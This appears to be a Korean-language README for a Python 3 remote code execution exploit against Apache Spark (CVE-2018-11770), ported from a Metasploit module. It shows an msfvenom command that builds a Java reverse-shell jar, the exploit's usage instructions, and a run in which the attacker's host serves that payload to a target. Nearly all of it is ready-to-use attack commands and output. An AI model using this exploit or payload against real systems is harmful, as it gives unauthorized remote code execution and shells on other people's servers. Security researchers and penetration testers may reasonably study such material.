ivanitlearning/cve-2018-11770파이썬 기반 Apache Spark RCE 익스플로잇, Metasploit 모듈에서 재작성됨
이 Metasploit 모듈에서 재작성된 Apache Spark용 독립형 Python 3 RCE 익스플로잇
익스플로잇 POC는 여기에서 설명합니다. 익스플로잇 코드 자체는 여기에서 설명합니다.
Python 3.7에서 이 대상으로 테스트되었습니다.
root@Kali:~/Infosec/RubyStuff/Apache-Spark-RCE# msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f jar -o payload/exploit.jar
Payload size: 7550 bytes
Final size of jar file: 7550 bytes
Saved as: payload/exploit.jar
root@Kali:~/Infosec/RubyStuff/Apache-Spark-RCE# ./CVE-2018-11770.py -h
usage: CVE-2018-11770.py [-h] [-httpdelay HTTPDELAY] -rhost RHOST
[-rport RPORT] -srvhost SRVHOST [-srvport SRVPORT]
[-uripath URIPATH] -payload PAYLOAD
Call the exploit like this:
./CVE-2018-11770.py -httpdelay 10 -rhost 192.168.92.153 -rport 6066 -srvhost 192.168.92.134 -srvport 8080 -uripath path -payload exploit.jar
필수 인수:
-rhost RHOST Apache Spark가 실행 중인 대상 호스트 (예: 192.168.92.153)
-srvhost SRVHOST 로컬에서 수신할 호스트. Apache Spark가 접근할 수 있는 로컬 머신의 주소여야 함 (예: 192.168.92.134)
-payload PAYLOAD 악성 jar 파일의 경로 (예: dir/exploit.jar)
선택적 인수:
-httpdelay HTTPDELAY 웹 서버가 종료되기 전 기다리는 시간(초). 기본값: 10초
-rport RPORT Apache Spark가 실행 중인 대상 포트. 기본값: 6066
-srvport SRVPORT 로컬에서 수신할 포트. 기본값: 8080
-uripath URIPATH 이 익스플로잇을 위해 웹 서버가 제공할 URI 경로. 기본값: path (예: http://192.168.92.134/path)
root@Kali:~/Infosec/RubyStuff/Apache-Spark-RCE# ./CVE-2018-11770.py -rhost 192.168.92.153 -srvhost 192.168.92.134 -payload payload/exploit.jar
Started Web server...
Sending the payload to the server...